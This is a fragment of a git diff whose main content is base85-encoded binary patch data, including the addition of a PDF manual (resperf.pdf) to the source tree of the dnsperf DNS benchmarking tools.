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 literal 0 HcmV?d00001 diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/doc/resperf.pdf b/dns-projects/dnsperf-src-2.0.0.0-1/doc/resperf.pdf new file mode 100644 index 0000000000000000000000000000000000000000..2cea32d352139d6e5b620036a4842bf6142d6f52 GIT binary patch literal 240347 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 